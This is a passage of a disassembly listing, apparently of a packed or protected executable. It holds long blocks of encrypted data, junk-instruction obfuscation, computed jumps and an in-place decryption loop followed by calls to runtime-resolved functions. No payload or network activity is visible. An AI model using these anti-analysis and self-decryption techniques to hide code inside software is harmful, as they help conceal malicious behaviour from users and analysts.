7D3CB15Ch, 85E697C4h, 0A6632996h dd 0A17C6190h, 85C2BB58h, 423F2996h, 9685C8B1h, 91584529h dd 7D694F68h, 1C561EBDh, 0FAFB36A1h, 4250F1Fh, 0BAAB2F10h dd 37517D44h, 537B51AEh, 0E97BC59h, 0EC0536F2h, 1E5FFC25h dd 9B299615h, 8A0548EEh, 0D429968Fh, 1DFA22EBh, 50F11AB7h dd 7B2E9F70h, 7F295999h, 3D65F36Fh, 1BC23D04h, 610548EEh dd 3F2F922Ah, 0F516B8h, 0FB10AE29h, 65F6A35Bh, 239A4814h dd 6E257791h, 93CBC7D2h, 516E935Eh, 87806C69h, 639E5306h dd 4EB9219Eh, 0F8819247h, 752399CBh, 6BCC6688h, 0D5F74669h dd 0A94DF113h, 9665A24Ah, 0B1DF6BEEh, 0F9F8FDF6h, 0AA000008h dd 0B312CA47h, 0F5E0040Bh, 0E90C30D3h, 0F8DF0500h, 331133D4h dd 0EE19C1FEh, 0DE2D8F36h, 0ED1CBF26h, 0DE2F9037h, 60FBBC26h dd 23958F1Dh, 8C93359Ah, 0E19CB760h, 5E299685h, 646D4BA1h dd 0E3E7270Ah, 0A611F62Eh, 0BE2DC146h, 0D638EC21h, 5478638Ch dd 60435596h, 7CB5BFA9h, 0BD526E79h, 44A86138h, 5C98D6C9h dd 36B772C0h, 5B818C31h, 377Ah, 638CC600h, 9B4423AAh, 0E172C772h dd 29968598h, 1DC66815h, 0C1ABB790h, 2479D41Ch, 41366F5h dd 93902996h, 36E76A41h, 0B72D500Bh, 0FDAA2995h, 28E31034h dd 1D000000h, 4F8C31CEh, 3F1A9B6Ah, 0C056038Ah, 0C818C31h dd 9685F387h, 0E0EE0929h, 0F22AE30Ch, 4E2FEC15h, 0CB299685h dd 0CE0238DEh, 714D8A31h, 8742179Eh, 34C35306h, 0A257828Bh dd 96860871h, 0A85D7E29h, 95927425h, 64F26881h, 0D4FC033Eh dd 0F11AC43Bh, 0D443D05Dh, 582F9767h, 0A30772A1h, 7A842395h dd 6F91A084h, 0BE509920h, 0BFBA5936h, 3C239600h, 9172583Fh dd 5D844D1Ch, 6C1D9377h, 498CB39Dh, 0FFB2A8E3h, 142135FCh dd 760714EDh, 0F3239620h, 0ECD12036h, 0F3DCFB21h, 0D80102E8h dd 9620423Bh, 7C2BF23h, 0F4DCE386h, 2FBF9A1Bh, 0A14BA533h dd 20A0D97Ah, 601D2396h, 9A4324A9h, 62A78273h, 20E19CB7h dd 0A15E2396h, 8488B168h, 0B7606481h, 0AC9FAF81h, 299763C0h dd 0D04855Fh, 0B9761DFh, 0D9E61BC6h, 81FC17F2h, 0FE1D9597h dd 0F940ED01h, 933B3413h, 4E714C3h, 0CB2ACC05h, 0D039EB22h dd 0F30302E7h, 0BB32DB04h, 0E271B92Fh, 1D962497h, 77A26714h dd 9FBC5D80h, 1D9624DEh, 0D363AE5Bh, 4DE5B566h, 645B238Fh dd 897A607Bh, 199C5504h, 0D8F86C40h, 0BB5F0531h, 4774639Bh dd 39528AA1h, 935E5C32h, 665D7D5Eh, 0B8B9A5DAh, 6FFADh dd 11B000h, 3AD5F9DCh, 0EF5E302h, 3BCAEFD6h, 9FEDE09h dd 93C041D3h, 993CE027h, 0C124D833h, 0AA4DEF1Ah, 0AE14C845h dd 8D2F4A09h, 37AC2395h, 0AA638C79h, 0C52A9572h, 85C2BB58h dd 423F2996h, 67886787h, 0A7482FA6h, 67886F66h, 0A3482FA6h dd 41BE6B62h, 6A9F3E9Bh, 236A2E9Fh, 0ADD6737h, 2CE712DCh dd 29968551h, 0AE3DD1CEh, 0DF48FC11h, 0FEE0F3D8h, 0DD32C40Dh dd 4D2F5D03h, 5EC4h, 31CE1E00h, 0A0797C87h, 1E44D28Eh dd 0D330F1E3h, 0EC7F40FBh, 2F2EED4Ah, 1F2F8F8Eh, 43D33498h dd 0AC13CEBBh, 1ACFC63Fh, 1DC037F4h, 8EE938ECh, 4A239CF0h dd 11A654C2h, 38DE1E22h, 43F914B9h, 17F2D9E6h, 0C433C396h dd 0AE49F019h, 0EECDC0Eh, 4EAFF265h, 0B7571283h, 622472Eh dd 0CE790000h, 6C828D31h, 74AD607Dh, 29AC638Bh, 66679C3Eh dd 0FD87EB3h, 0AB14C728h, 8DCE6B62h, 299685ECh, 8A75BC69h dd 0B960A966h, 9039A03Eh, 60A98075h, 3CC364CEh, 0A980758Eh dd 76778C2Eh, 41D793A3h, 0F33E019h, 22F8FB7h, 0CCF8DC05h dd 46F82523h, 0EB52EC0h, 239D1767h, 920306E5h, 0CFC649A5h dd 825C8A7Dh, 83438F76h, 48D637E9h, 59AEh, 31CE7800h, 98C37E89h dd 299685E5h, 0D591A562h, 17E21743h, 854831E2h, 82D32996h dd 6248BD8Eh, 16817E60h, 886154B9h, 854BE366h, 0B9662F8Fh dd 618A7534h, 0BABF92A4h, 38239D5Fh, 71767798h, 5FCEBF4Ah dd 9CA47A68h, 2EC96571h, 34D97D92h, 48D67BB8h, 1447Dh dd 638CC700h, 984423AAh, 0E46FCA6Fh, 29968599h, 1CC56916h dd 0F499775Dh, 0ADC78566h, 88856A89h, 50BD2205h, 0A5B68BACh dd 2995B7D4h, 8FC25451h, 2995BCD4h, 9FBC617Eh, 2995B2DEh dd 0C163AE5Bh, 6154B916h, 8135FC9h, 2995B275h, 9A0C03EBh dd 3ECBF2EDh, 0F227E2B7h, 8707E705h, 0DD985076h, 261323EEh dd 0DEF9E4DBh, 0D6830AFFh, 14A9B91Bh, 9AC7C0D2h, 0AD81D174h dd 70872F8Eh, 3433BA4Bh, 0A84E838Ch, 972C3650h, 38754049h dd 891F4BF1h, 0C251A851h, 239C35B7h, 8AA74734h, 982997C9h dd 9BB88129h, 1DA041E2h, 9735A25Fh, 501AE274h, 0E9624F07h dd 6198515Eh, 4FBE1F98h, 8C6B8B5Eh, 0B0537560h, 7CA56C3Dh dd 5EE396C5h, 71601DA0h, 6237BE49h, 8CAD87A7h, 18E2B988h dd 0EFFFB6D7h, 0D02BDC00h, 0BFD5A1B0h, 69664F60h, 1A000004h dd 43A25AB7h, 25D0749Bh, 399C40C3h, 28CF7590h, 83A143C4h dd 9E69510Eh, 0AE5D7F66h, 9D6C4F76h, 0AE5F8067h, 70AB4C76h dd 23958B0Dh, 8C23E58Ah, 0C772A760h, 9685F18Ch, 9DB16E29h dd 0FF9E7693h, 0F40FB92Ch, 0DEFE0820h, 0DC14B938h, 40330016h dd 6F955CCEh, 3169FFD1h, 2DF80408h, 0C5AD9BE1h, 43D0431h dd 966E2657h, 50E6A329h, 8F812DFDh, 537C832Fh, 0D06633BAh dd 0FFD25E28h, 11C21B7Bh, 472ED5D8h, 26239D72h, 0D93BF3DFh dd 0C42C81F2h, 3D8F4A4Bh, 7599F60Fh, 0D6BDDC90h, 1219948h dd 0CE6B0000h, 8595E873h, 0E4D2996h, 2996856Bh, 0DECB3BE8h dd 0C714B938h, 0AC21E827h, 5627340Dh, 0E1299685h, 0DA3D040Eh dd 33F0D6EEh, 1FE8D423h, 0F43A25AEh, 99262995h, 6D3DA35h dd 31DC01F0h, 1CF60408h, 69ACA1E3h, 59108580h, 53B47E90h dd 55F0B681h, 2993889Bh, 0F33EEBE2h, 0B02B9463h, 0C233FE0Fh dd 2ADB00F7h, 0A4CE5804h, 5F56AD1Bh, 9A10698Ah, 908D2995h dd 0B217A059h, 484DB821h, 79B65891h, 8EAF78DAh, 0AA14432Fh dd 0AF7A892Fh, 6F65C27Ah, 328E5284h, 0AB01D8DDh, 4DE14AEBh dd 0A65B8711h, 97EC8C75h, 0FF1CF929h, 1DA00B7Eh, 1EC30EFBh dd 1AF3DCE3h, 0C7CE419Dh, 0CDEDFC12h, 970AE808h, 5CCD56B6h dd 5F854C85h, 68B35478h, 0BFD54622h, 0EDE8CDE6h, 9E000002h dd 0AF16CE43h, 0F9DC000Fh, 0E51034CFh, 0FCDB0104h, 2F0537D0h dd 0E225C5F2h, 0DA319B3Ah, 0F118C322h, 0CA43AC4Bh, 4C07B012h dd 23958931h, 8C7739AEh, 5275A760h, 0C079A06Dh, 9685EA93h dd 3DBA6729h, 0B2676EA1h, 8C7C929Ch, 0B7587863h, 27AE6336h dd 111B8A82h, 1D4D23DAh, 954449BCh, 923BBA5Ch, 9139C67Bh dd 0B156E076h, 0BC3F865Bh, 2AFFF60Fh, 0A869BDC2h, 3AFA779Fh dd 1539F088h, 0A114F9D6h, 0A7119F09h, 4980595Ch, 6D4E6990h dd 0B2441598h, 8E8A039Fh, 4449362Fh, 1C917863h, 0C728B11Bh dd 8A0A8B46h, 54FFAFBBh, 239C8729h, 2A30F9A6h, 0D8F5F7E3h dd 0BD30D703h, 45FC25ECh, 9C876316h, 0BC23E023h, 0DA54FA13h dd 77A2F86Eh, 95ACF2DCh, 3D9ECD29h, 770211C8h, 0F41DA362h dd 0ECCBC207h, 0E8CF0A03h, 0FEE70708h, 0B538D3F9h, 22CB0AB2h dd 0FA2FEAEBh, 0ECFA15F3h, 967E3B32h, 0A9FD99C0h, 906F7F4Ah dd 0AB13AC42h, 0B84F7B64h, 65CCA96h, 31AE26DBh, 38AC7C88h dd 0C1BC5782h, 3E1DA338h, 309AAD41h, 46239C5Eh, 0F6F712B9h dd 13552833h, 0D5D217AAh, 502FA1Ch, 19D7F8DFh, 2699A31Ah dd 0A95A80DAh, 0C970A960h, 0A989EF8Ah, 5B7D6C17h, 14CD61A8h dd 99866A55h, 0A989FF7Ah, 4A7F7C17h, 63A645A4h, 0A5688572h dd 62A14730h, 0D905026Bh, 0CC40FD05h, 1ABAE6AFh, 0C12790C1h dd 14DAC42h, 742EC22Bh, 4E27311Fh, 84B468A1h, 0A611C812h dd 532C449h, 2356053Ch, 0A017AA0Dh, 0AAA8ABC6h, 0FA2F20A3h dd 0A72EE1FDh, 0B5E95CF2h, 0E81DA311h, 0BA0E063Bh, 4CC11E27h dd 40E4F668h, 8D3235AEh, 0B08D0D80h, 0E5AFCA89h, 6F2C11B0h dd 7C3220DFh, 60FAB98h, 746B368Fh, 1BCEBF48h, 0A1F96FFBh dd 484BC178h, 9F5227B6h, 1D81C46Ah, 5017AA71h, 9DB0E036h dd 0F33EB6B2h, 0EBCFE851h, 0D037A31Ch, 51B4223Eh, 89A571C6h dd 3FFA2F01h, 69143FFAh, 0E60BB801h, 4F5DD339h, 2F0C23EAh dd 0E3C2C1Fh, 26E311B9h, 2DD604FBh, 0B319E009h, 4FB4C6CBh dd 48A747D0h, 17BE66A7h, 0AD5657B6h, 5A622F56h, 0F6F718B8h dd 0C23DC8F1h, 6BE9EC19h, 9D904E9Ch, 11F8E3DCh, 0EBD2CD9Ch dd 0DD09F81Eh, 522BE811h, 0CFB10B12h, 10AD3CD2h, 12BB44FDh dd 0B81FFAFBh, 2900F516h, 23CC2B05h, 0CE46E3EAh, 658C4FE1h dd 5E8DA1FAh, 7B51887Dh, 5AAFBE60h, 6A9B40C0h, 0DB7BB663h dd 42C52512h, 0C6DAE4Bh, 89B10B71h, 53BA239Ch, 0F7E3C262h dd 0EEFC1327h, 0F615B740h, 0AF2C9160h, 20F9FC0Bh, 0FCDC30E9h dd 0DD30558Ch, 0C92C0628h, 1E4E924h, 20h, 0FDA4D438h, 0ADEEE9Dh dd 0AFF3049h, 39F0ADB1h, 31CE1F15h, 36F7F8Ah, 0F21DC13Eh dd 32082EFBh, 29AC658Ch, 696CA13Eh, 23AA5F7Eh, 7C719A44h dd 35B84F7Bh, 787D8A32h, 3ABB4A6Fh, 75788B2Dh, 0CCC14E72h dd 7BE2681Bh, 4890000h, 79A46824h, 34890000h, 3A896824h dd 1C890000h, 5FFEBE24h, 0DEF709D6h, 8102EEC1h, 745024CEh dd 54C68170h, 8133603Bh, 31C78EEh, 25BA525Ah, 8144F822h dd 0FB7FBDC2h, 8E2C17Eh, 81D2F74Ah, 0EB41EAEAh, 48F2813Bh dd 17ED790h, 0EC815AD6h, 4, 83242489h, 5B042404h, 89F28952h dd 148B0853h, 4C48324h, 56241C8Bh, 0C681E689h, 4, 8704C683h dd 8B5C2434h, 89522434h, 4C281E2h, 81000000h, 4C2h, 24148700h dd 7E70E95Ch, 414FFFF8h, 6CBD1310h ; --------------------------------------------------------------------------- loc_5EB690: ; CODE XREF: .XComp0:loc_5E989Cj mov eax, 6010000h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 5Bh, 0Eh, 0C8h dd 1F771D10h, 0E4166627h, 0EBED4634h, 0AC460D2Bh, 53D7D28h dd 710D9D33h, 11E81Fh, 3D790000h, 6C07EC38h, 1C5CA77Ah dd 7189829Bh, 8B829C94h, 0B70F5FD1h, 93C781C0h, 0B600006Bh dd 9437B9E4h, 0F181740Eh, 740E8E8Ch, 8B3FEE80h, 81D78B37h dd 0DFAA0BC6h, 0FE930h, 9CE30000h, 34FF5483h, 0B2C715D7h dd 4463380Ah, 36C68111h, 605BD04Ch, 5E8h, 0F1153100h, 0BB66933Ah dd 665B0FB9h, 61B37FBAh, 1D06EE81h, 0FE8208Ah, 0B5000000h dd 9DBE44AAh, 71AF50FCh, 3BE85EC2h, 7E8EC55h, 7C000000h dd 22D1996Ch, 8A0FB53Ch, 0 dd 37895858h, 8347CC80h, 816604EFh, 49AA79EBh, 0FF85850Fh dd 0F480FFFFh, 0D8D8DBFh, 6A060102h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 1D77C356h dd 9531D3EAh, 5F90D5Dh, 8D89DF8Bh, 5F90CDDh, 18BD9589h dd 85C705F9h, 5F926C1h, 5DECh, 52D08166h, 0FD85C770h, 5F900h dd 8B000000h, 0F903919Dh, 0DDB5FF05h, 8B05F916h, 0D595FFD7h dd 6A05F920h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0FCE6C357h, 9D2957D3h, 5F92CE1h dd 6AF0BF0Fh, 0ED95FF00h, 8B05F91Ah, 0DE4BEBC0h, 0EEC9817Fh dd 4714745Dh, 9730996Dh, 6E28F558h, 5BAC05D8h, 0C2C4B495h dd 50A51B3h, 755D8986h, 0B126B7CAh, 1549099Ch, 0C8AC0479h dd 6D49B13Dh, 91F2B45Bh, 7B67DBCh, 54BFDC46h, 29AE22DBh dd 0EF108D68h, 2FC19596h, 0DE8B6EBh, 2D000000h, 3A9F5D9Bh dd 717948B1h, 0C32E7DE4h, 5BCEBF0Fh, 0CE9h, 25E91B00h dd 890E7BFh, 0C168BDF7h, 0A4C38184h, 0F00006Bh, 68Dh, 15958900h dd 3305F90Ch, 898D0BD2h, 8B05F913h, 8D891334h, 5F9292Dh dd 0FF7BF681h, 0E58A21F1h, 76BCC681h, 0BD89308Fh, 5F90FEDh dd 628FEE81h, 56FC0F10h, 0AE8h, 9D2D9200h, 573ABD29h, 8BDDEF7Dh dd 0F914DD8Dh, 48F5F05h, 0C8816613h, 858B0170h, 5F925D9h dd 0F04EA83h, 0FA81FFB7h, 0FFFF94F0h, 0FFA5850Fh, 8DF5FFFFh dd 1042C8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 17E15EEDh, 89C0BF0Fh, 0F90CDD8Dh dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0F71C8C0h, 38Eh, 28C08000h, 14870Fh, 0FE90000h dd 2B000000h, 379AB084h, 3BA480A9h, 594BA251h, 85C7EC1Dh dd 5F926C1h, 719Ch, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 88C35040h, 2C072CCAh, 0E40C3E92h, 33C59589h dd 0B58905F9h, 5F91935h, 7E960h, 30C60000h, 20CB4C3Ah dd 0E3816613h, 0C7613178h, 0F900FD85h, 5, 0E9B5FF00h, 6A05F932h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0B66BC355h, 0D68B7575h, 20D595FFh, 6A05F9h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0A7F198C3h, 1C29DA1Dh, 0F609CD6h, 285h, 66595100h, 2E20DB81h dd 0C8816661h, 6AB37Eh, 1AED95FFh, 0C08B05F9h, 431C1EEBh dd 91199EFCh, 83C90C99h, 0EA2B20B3h, 0A44CADD1h, 752945D7h dd 1F40BBFEh, 0FBD4C596h, 9E8h, 996D4700h, 0F5589730h dd 8A0F6E28h, 8, 5D9D0360h, 6105F920h, 0FADF8058h, 75A7C081h dd 9D8B0000h, 5F914B9h, 36D118BEh, 24C68131h, 8BCEC94Ch dd 0F927F1BDh, 6030FF05h, 131D9D89h, 820F05F9h, 2, 59615856h dd 68C0Fh, 9D8B0000h, 5F93241h, 0D4C5E981h, 830F233Dh dd 6, 150D9529h, 0C18105F9h, 0D1B7E16h, 0CE9h, 81810700h dd 0E0FD647Bh, 0F1E8A44Fh, 1DF18197h, 8A0D10A6h, 0F0889DEh dd 485h, 0D88B5100h, 1E8835Ah, 9E9h, 8B616C00h, 0BA2DF1FEh dd 4848AC15h, 0E9B52948h, 4E05F91Eh, 0FF83850Fh, 8A0FFFFFh dd 0 ; --------------------------------------------------------------------------- jmp loc_5EBB11 ; --------------------------------------------------------------------------- db 0DAh, 0A7h, 2Bh dd 49h, 2 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5EBB11: ; CODE XREF: .XComp0:005EBAFCj jmp loc_5EC146 ; --------------------------------------------------------------------------- push 601067Fh jmp loc_5734FA ; --------------------------------------------------------------------------- push 6010727h jmp loc_5734FA ; --------------------------------------------------------------------------- push 60108EAh jmp loc_5734FA ; --------------------------------------------------------------------------- dd 0B567AA45h, 0BB61AE12h, 0AF55AE1Ch, 0BA62A348h, 0A458AF1Bh dd 7864138Eh, 648A6D8Fh, 6B5275A7h, 5E7F669Eh, 92678DAFh dd 9580F881h, 30D07523h, 72A7608Ch, 897CD9Ah, 9EB0E846h dd 0AF1BA445h, 8E7D5F58h, 2DBC5207h, 93C77D90h, 9507C005h dd 2CC6A482h, 4A7F4AC3h, 0D0A96A8Fh, 4D299586h, 0E271BE50h dd 2F8EB1E4h, 0AD1FDAC7h, 51E09CD3h, 0E90DCBh, 9BCB2653h dd 0D039A423h, 14F1DADDh, 2F3B0CA1h, 7C50E96Fh, 3939BCD0h dd 50324215h, 0E1DF6448h, 1A48B757h, 0D5F9B02Ch, 4077548h dd 0F1CF0000h, 193AFFA7h, 29968560h, 5AF920DDh, 2996851Fh dd 134FDF9Ch, 77A45D85h, 2F8F9E9Bh, 0EF0831EEh, 28193DCCh dd 855F1BF1h, 0A4B66A78h, 3D33BF92h, 0F6012102h, 31DC01D8h dd 1224F5F8h, 5F9AC056h, 7100799Ah, 807D2637h, 9478C16Eh dd 0CDA0A421h, 807E727h, 741A2DC1h, 0C72C303Fh, 0D147D3DAh dd 20C35089h, 0D126372Ch, 2DD42DD4h, 44B78BEEh, 0F02B081Ah dd 1A44B78Dh, 42D41D0Ah, 0DE030AB3h, 0FE10FBE1h, 0E12C9134h dd 73F31F12h, 81648DBBh, 457h, 0BD5FB20Dh, 0A359B61Ah dd 0B76D9644h, 0A25AAB10h, 0CC709743h, 507C3B76h, 7C6285B7h dd 638A6D8Fh, 76577EA6h, 0BA7F6597h, 957FE099h, 48E85D23h dd 83169FFh, 0E126C631h, 36193DECh, 2F978A57h, 0AD4AEFACh dd 20F9FC0Fh, 801F5AF9h, 0DF9C2395h, 0A017E24Fh, 0EED2CD3Eh dd 0FEDE0D21h, 7E7D009h, 0EB4CE608h, 80740516h, 34F12395h dd 20E7D322h, 2ADFFEF9h, 4AFFD9A3h, 0D446DA3Ch, 49F0F91Dh dd 1FC910AEh, 46092DE4h, 2395672Eh, 0E5DF11AEh, 996C4D4Dh dd 0DAD39033h, 15DC15F2h, 233F61C6h, 231223B2h, 3AFh, 55878A65h dd 1BC14E72h, 4FF50EBCh, 1AC243A8h, 44F80FBBh, 0D804B3EEh dd 4EA0D2Fh, 0CBF2D507h, 0FEDF063Eh, 3207ED0Fh, 957E5821h dd 0D070D523h, 828D31CEh, 0ACB85E0Bh, 7500C33Ah, 0D341995Fh dd 0BEF1E31Eh, 55AB6D6Dh, 77A491A5h, 2F972B1Ah, 7E3BB26Fh dd 0AAD80B96h, 0EB0B2ABFh, 94FB1168h, 0DC2B8F23h, 17ECCED9h dd 3548D396h, 0B22394FBh, 429077F5h, 5D89849Ch, 2ED3F769h dd 247B04Bh, 748B0000h, 92FBF48h, 23AA638Ch, 0A08C8E86h dd 0B064A859h, 6D6E4F9Eh, 6138BD50h, 8BC871A8h, 299634F2h dd 929CB26Fh, 0C6A29F75h, 8ACA3E2Dh, 0AD4CF022h, 62F427DCh dd 8F4A9006h, 8F1ABE84h, 82E8EC2Fh, 0ECB28FEDh, 3F3CB45Ah dd 6239329Ah, 0B703BF44h, 0C3A8D182h, 7825239Ch, 0EF860DD6h dd 0CE239CC3h, 815B2B37h, 5548D69Bh, 45E1CA7Fh, 7E90B3E8h dd 3FA2h, 1E977D00h, 4E0899EDh, 0FFF83ED0h, 0EF083169h dd 0E1B83DCCh, 0FB33E04Dh, 162F8F97h, 9ADF6469h, 79239D72h dd 739237C0h, 84AA638Ch, 0C39D6975h, 9348D64Eh, 5045BE2Ch dd 0F9A97599h, 7B000000h, 23AA638Ch, 7E6F9844h, 80B95479h dd 3FB65577h, 1C1BC46Ah, 0D0A96AB3h, 4D299685h, 0C6639950h dd 0C667CC4Eh, 9637E495h, 50A46129h, 809645F0h, 964A86CDh dd 34A74829h, 70777E87h, 0BF0ABF50h, 0D503FC1Dh, 0CA5C082Eh dd 69906990h, 9640CFAAh, 66A94529h, 5744BA6Fh, 31D694B7h dd 8C792F92h, 0A513AC55h, 9139B85Eh, 4E69CE76h, 8485686Fh dd 68915811h, 9A4FD2ABh, 0BC524F23h, 997A8D2Dh, 0B1DE0BFAh dd 0EC06EF00h, 0A2000001h, 0CB2AD23Fh, 8D38EC23h, 0C124D82Bh dd 9037ED18h, 0B29DB2Ch, 601E996h, 36D5F7DEh, 504E70Eh dd 36D7F8DFh, 813E40Eh, 23957D75h, 0CEBB7DF2h, 0D87E8931h dd 1C39B119h, 91CB57DBh, 2BA15891h, 0E172B36Ah, 2995B398h dd 7D846815h, 5BD5795Eh, 89CA537Ch, 29961EF0h, 0F57C1A7Bh dd 22847A9Ch, 8F78AC65h, 5946C728h, 0BB819570h, 23AA638Ch dd 0CA729B44h, 0A06D526Dh, 1E44D28Eh, 0DCE31EE3h, 0C39617F0h dd 96854538h, 31C5C229h, 8FD43F1Eh, 0D207F42Fh, 8C0104E5h dd 45FC39DDh, 958FDACFh, 3B8D4D2Eh, 0C712B85Fh, 52A1B57Ch dd 9D649D6Ah, 9D76FB7Eh, 568B7823h, 9D76B4C5h, 0E2743123h dd 0C98AAF58h, 239D76B0h, 0AD90532Dh, 0AAAD22AFh, 0FD7CCF5Fh dd 0BD239CACh, 0E5DE5A57h, 0A23E24C8h, 6392A46Dh, 5F7C617Ah dd 50098C7Bh, 49AC5099h, 808934A1h, 0F0614449h, 98000000h dd 0E9559034h, 93A3048Dh, 3169FFADh, 40CFEF08h, 81B881AEh dd 9685A7D2h, 0D7772429h, 978B1974h, 489762Fh, 0B153BA23h dd 7164A946h, 0C02D33E2h, 0C24D7172h, 0B04ECCBh, 3624138Ah dd 0FD44E568h, 8ACE2D17h, 46D51B3Dh, 0D46ADB33h, 0A463F3B0h dd 9814F8B6h, 47BD2117h, 47552833h, 0D5D2D46Bh, 0D2FBFA1Ch dd 203B063Bh, 0D46B475Dh, 0EB22DDAh, 0E643ED01h, 477D001Bh dd 0DFAD46Bh, 28E50AE9h, 0D1FB04A5h, 0F4D5143Ah, 890CFBDFh dd 0C1D6FCD0h, 9AE60233h, 0C44FAA4Fh, 0D46AF5B9h, 3CA54936h dd 302BA19Eh, 0BA3B7F8Dh, 25EA06F1h, 0A655F9B0h, 104BF6B8h dd 0D46ADA6Dh, 0DA193DEAh, 7B1FFBF5h, 809696F8h, 2D3C9049h dd 0AFCA89DDh, 2CD46AADh, 34BB9D6Fh, 0B0172135h, 0BC43FE0Fh dd 2AFFF60Fh, 0A11EDB04h, 0AB3CD23Dh, 3, 8C390F15h, 3E29AC65h dd 7E696CA1h, 4423AA5Fh, 7B7C719Ah, 3235B84Fh, 6F787D8Ah dd 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh, 57E28952h, 4BFh, 5FFA0100h dd 8704EA83h, 685C2414h, 7094h, 68240489h, 5D6Bh, 68241C89h dd 6010547h, 8124048Bh, 4C4h, 1C8B5400h, 4C48324h, 8904EC83h dd 438F2404h, 2434FF08h, 4C4815Bh, 0FF000000h, 83582434h dd 0BBE904C4h, 2FFFF873h, 0B76823E3h ; --------------------------------------------------------------------------- xor al, 6Fh loc_5EC146: ; CODE XREF: .XComp0:loc_5EBB11j mov eax, 6010AFBh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 6 dd 8F0A0A6Ah, 314F904h, 0E8514A85h, 6647AA8Ah, 7B04B697h dd 0E873A1D0h, 13h, 0B045CC0Ah, 0CFD01355h, 6A264E42h dd 0F27852BFh, 0E9072FADh, 14h, 88F054Dh, 98859DCh, 7FF140CDh dd 0C50A113Ah, 84E8A1D0h, 9CBF6659h, 7BC1816Ah, 6600005Bh dd 0B016EF81h, 16B568h, 0B561BB00h, 0E95E390Ah, 0Dh, 96AD8303h dd 182578BBh, 943CF3B8h, 66118BB9h, 0C281C38Bh, 5523D28h dd 4BAFCEB8h, 0B7EA8114h, 57126006h, 815886B0h, 0B88A74C2h dd 81118905h, 0ECC615C8h, 1E98327h, 13E9h, 0D00F7400h dd 8E4D4E0Bh, 0E68112B6h, 0D6D2CF60h, 2A5360BAh, 66494949h dd 0EE83DA8Bh, 0AE850F01h, 0E8FFFFFFh, 5, 922D9960h, 5830F95h dd 0BF000000h, 74BA9A1h, 0FBBF525Ah, 5B7EDDF1h, 74C5C281h dd 0B9660000h, 680CAFh, 0BB000000h, 5ED227DDh, 138A0F5Eh dd 0E9000000h, 0Eh, 14B4655Dh, 0B1220407h, 9DB7C7C0h, 34FF507Bh dd 58595716h, 6820Fh, 0E1810000h, 5A0525Eh, 0B5A2C081h dd 81533C3Eh, 9516F0EFh, 0C0815F19h, 4E3C916h, 1CF081F9h dd 0F5685FA7h, 5890F50h, 66000000h, 0B01AEF81h, 0F32048Fh dd 0EE83FBB7h, 75B35202h, 664E4E5Bh, 0FE81D98Bh, 0FFFF8C10h dd 20850Fh, 840F0000h, 0Ch, 6800Fh, 830F0000h, 0 ; --------------------------------------------------------------------------- jmp loc_5EC2F5 ; --------------------------------------------------------------------------- db 61h, 83h, 4Bh dd 3A9CACB8h, 8166B210h, 0E9CD86E3h, 0FFFFFF7Eh, 0E309263Fh dd 9C4DC455h, 61C232C5h, 8EE85B81h db 0EBh ; --------------------------------------------------------------------------- loc_5EC2F5: ; CODE XREF: .XComp0:005EC2CCj call sub_5EC30B push cs mov cl, 0F4h jnp short near ptr loc_5EC325+3 xchg eax, ebx jp short near ptr dword_5EC150+156h jnz short loc_5EC30F jge short near ptr dword_5EC150+171h cdq push es db 67h lock out dx, al ; =============== S U B R O U T I N E ======================================= sub_5EC30B proc near ; CODE XREF: .XComp0:loc_5EC2F5p push edx mov dx, bx loc_5EC30F: ; CODE XREF: .XComp0:005EC302j pop edi pop esi cmc add esi, 6554h push edx push ebx pusha popa pop edi pop eax push 192Dh cmc pop ecx loc_5EC325: ; CODE XREF: .XComp0:005EC2FDj jmp loc_5EC33E ; --------------------------------------------------------------------------- dw 0D6E6h dd 8DC10376h, 0C20AFC6Fh, 352129C9h, 2D4A619Dh db 5, 0AFh ; --------------------------------------------------------------------------- loc_5EC33E: ; CODE XREF: sub_5EC30B:loc_5EC325j ; sub_5EC37A+1Ej mov ebx, [esi] loc_5EC340: ; CODE XREF: sub_5EC30B+5Cj mov edx, esi add ebx, 7DA7E3D2h jnz loc_5EC350 mov dh, 87h loc_5EC350: ; CODE XREF: sub_5EC30B+3Dj xor ebx, 45C34629h loc_5EC356: ; CODE XREF: .XComp0:005EC378j jno loc_5EC37B ja loc_5EC37B call sub_5EC37A jmp short loc_5EC340 sub_5EC30B endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 12h, 38h, 0DBh ; --------------------------------------------------------------------------- inc esi push 552200E0h or eax, 3E61C90Ah inc ecx jno short loc_5EC356 ; =============== S U B R O U T I N E ======================================= sub_5EC37A proc near ; CODE XREF: sub_5EC30B+57p pop edi loc_5EC37B: ; CODE XREF: sub_5EC30B:loc_5EC356j ; sub_5EC30B+51j add ebx, 269AD0C4h push ecx pop edi mov [esi], ebx cld sub esi, 0CBD402Ch add esi, 0CBD4028h sub ecx, 1 jnz loc_5EC33E mov eax, eax cmp dword ptr [ebp+5F931C9h], 0 jnz short loc_5EC3B2 cmp dword ptr [ebp+5F912B5h], 0 jz short loc_5EC3CB loc_5EC3B2: ; CODE XREF: sub_5EC37A+2Dj push eax push ebx mov eax, eax mov eax, 421h mov [ebp+5F928E9h], eax lea ebx, [ebp+5FBF384h] call ebx pop ebx pop eax loc_5EC3CB: ; CODE XREF: sub_5EC37A+36j cmp dword ptr [ebp+5F912B5h], 0 jz short loc_5EC3EB push eax push ebx mov eax, 421h mov [ebp+5F928E9h], eax lea ebx, [ebp+5FBF073h] call ebx pop ebx pop eax loc_5EC3EB: ; CODE XREF: sub_5EC37A+58j mov eax, eax mov ebx, [ebp+5F914CDh] mov byte ptr [ebp+5F91899h], 56h push 9CA8B852h push dword ptr [ebp+5F908D1h] lea eax, [ebp+5FCC510h] call eax push 4 push 1000h push dword ptr [ebp+5F90591h] push 0 call eax test eax, eax jnz loc_5EC433 mov eax, 0 lea ecx, 